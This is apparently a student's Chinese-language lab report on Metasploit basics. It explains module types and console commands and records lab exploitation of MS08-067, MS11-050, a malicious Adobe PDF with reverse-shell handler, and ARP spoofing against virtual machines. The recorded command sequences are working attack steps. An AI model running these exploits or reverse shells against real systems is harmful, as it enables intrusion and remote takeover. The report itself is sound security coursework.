2020-2021-4 20175229《网络对抗技术》Exp6 MSF基础应用
一、基础知识
1.1 MSF的六种模块
(1)Exploit
模块
---是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
---形象点来说就是攻击模块。
(2)Payload
模块
---是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
-->三种 payload:/usr/share/metasploit-framework/modules/payloads/
①Single:all-in-one
②Stager:目标计算机内存有限时,先传输一个较小的 payload 用于建立连接
③Stages:利用 stager 建立的连接下载的后续payload
(3)Encoder
模块
---针对payload
进行编码,可以通过多种编码手段、多次编码方式有效的改变payload
代码特征。
---不改变payload
作用,但能对payload
进行加工。
(4)Aux
模块
---能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
---主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
(5)Post
模块
---支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
---这里主要指的是攻击之后可能用到的模块。
(6)Nops
模块
---是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90。
---因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置。
1.2 核心命令
banner 显示一个很棒的metasploit横幅
cd 更改当前工作目录
color 切换颜色
connect 与主机通信
exit 退出控制台
get 获取特定于上下文的变量的值
getg 获取全局变量的值
grep 管道另一个命令的输出
help 帮助菜单
history 显示命令历史记录
load 加载框架插件
quit 退出控制台
repeat 重复命令列表
route 通过会话路由流量
save 保存活动数据存储
sessions 转储会话列表并显示有关会话的信息
set 将特定于上下文的变量设置为值
setg 将全局变量设置为值
sleep 在指定的秒数内不执行任何操作
spool 将控制台输出写入文件以及屏幕
threads 查看和操作后台线程
unload 卸载框架插件
unset 取消设置一个或多个特定于上下文的变量
unsetg 取消设置一个或多个全局变量
version 显示框架和控制台库版本号
二、实验过程记录
1、主动攻击实践--ms08_067
攻击机kali:192.168.43.234,靶机winXP:192.168.43.111,payload:generic/shell_reverse_tcp
注:两台机器首先要ping
通。
(1)在Kali
中打开mfs
,输入指令msfconsole
进入控制台
(2)输入use exploit/windows/smb/ms08_067_netapi
指令进行主动攻击
(3)show payloads
显示可用载荷
(4)set payload generic/shell_reverse_tcp
选择载荷
(5)show options
显示配置信息
(6)set RHOSTS 192.168.43.111
设置靶机xp IP
(7)set LHOST 192.168.43.234
设置攻击机kali IP
(8)exploit
开始攻击
2、一个针对浏览器的攻击--ms11_050
攻击机kali:192.168.43.234,靶机winXP:192.168.43.76,payload:windows/browser/ms11_050_mshtml_cobjectelement
注:两台机器首先要ping
通。
(1)在Kali
中打开mfs
,输入指令msfconsole
进入控制台
(2)输入search ms11_050
查找漏洞
(3)输入use exploit/windows/browser/ms11_050_mshtml_cobjectelement
选择漏洞
(4)show payloads
显示可用载荷
(5)set payload windows/meterpreter/reverse_tcp
选择载荷
(6)show payloads
显示可用载荷
(7)set LHOST 192.168.43.234
设置攻击机kali IP
(8)set RHOST 192.168.43.76
设置靶机win7 IP
(9)exploit
开始攻击
(10)win7
下打开IE浏览器,输入上图网址http://192.168.43.234:8080/F9nYjt
,如下所示攻击成功,kali同时自动回连
3、一个针对客户端的攻击-Adobe
攻击机kali:192.168.43.234,靶机winXP:192.168.43.76,payload:generic/shell_reverse_tcp
注:两台机器首先要ping
通。
(1)在Kali
中打开mfs
,输入指令msfconsole
进入控制台
(2)search adobe
查找漏洞
(3)输入use windows/fileformat/adobe_cooltype_sing
选择漏洞
(4)show payloads
显示可用载荷
(5)set payload generic/shell_reverse_tcp
选择载荷
(6)set LHOST 192.168.43.234
设置攻击机kali IP
(7)set FILENAME 5229msf.pdf
设置生成的pdf
文件名
(8)exploit
开始攻击
(9)把5229msf.pdf文件先拖入到win10中,再从win10中拖入win7
(10)回到kali
,back
退出当前模块
(11)use exploit/multi/handler
进入监听模块,
(12)set payload windows/meterpreter/reverse_tcp
选择载荷
(13)set LHOST 192.168.43.234
设置kali IP
(14)exploit
开始监听
(15)win7
中用Adobe9.0
打开pdf
文件,kali
回连成功
4、成功应用任何一个辅助模块--spoof arp
攻击机kali:192.168.43.234,靶机winXP:192.168.43.76,漏洞:spoof/arp/arp_poisoning
注:两台机器首先要ping
通。
(1)在Kali
中打开mfs
,输入指令msfconsole
进入控制台
(2)输入show auxiliary
,选择spoof/arp/arp_poisoning
漏洞
(3)新开一个终端,fping -g 192.168.43.234/24
查看哪些主机也在局域网中
(4)输入arpspoof -h
查看命令使用方法
(5)输入arpspoof -i eth0 -t 192.168.43.76(win7 IP) 192.168.43.1
(在此局域网中的另一主机IP)进行ARP攻击
(6)win7中浏览器无法访问任何网页,攻击成功
(7)回到kali,停止攻击后,win7 IE浏览器可以正常访问网页
三、基础问答
1、用自己的话解释什么是exploit,payload,encode.
(1)exploit
:它的意思是渗透,在执行攻击时,我感觉exploit
指令就像run
或是start
一样,先对选项进行设置,设置成完成之后就可以输入exploit
指令开始攻击;
(2)payload
:意思是载荷,就是每次攻击都需要设置他们的payload,而且某些攻击有特定的payload,如果不匹配就不能成功攻击;
(3)encode
:就是编码,可以通过编码来消除类似0x00
一样的坏字符。在终端中输入cd /usr/share/metasploit-framework/modules/encoders
进入编码模块的目录,再输入ls
就能看到可用的编码方式了。
2、离实战还缺些什么技术或步骤?
(1)目前学习这些渗透技术都需要特定的windows,或者浏览器版本支持,不能灵活应变;
(2)既然我们已经学到了这些渗透技术,说明这些已经广泛流传,肯定现在已经对这些渗透技术的漏洞加以弥补了,所以适用的范围大大缩小了。
四、实验感悟
这次实验实际操作起来其实不是很难,就是会遇到一些小问题,比如每次回连不一定都成功,还有就是我想通过实验二的ncat传递pdf文件,但是传过去的都用不了,最后只好将kali中的pdf先拖入win10,再通过win10拖入到win7,好有遇到地址已被使用的问题,最后通过改换端口加以解决。总的来说这次实验挺有趣的,我自己完成了四个内容,并且通过了解同学的博客了解到了许多渗透技术与知识,丰富了我的知识面,在这忍不住吐槽一下自己的电脑,现在带两个虚拟机都卡的不行,前段时间在进行pki实验的时候开了四个虚拟机,电脑直接都快炸了,还好本次实验要同时开的虚拟机不多!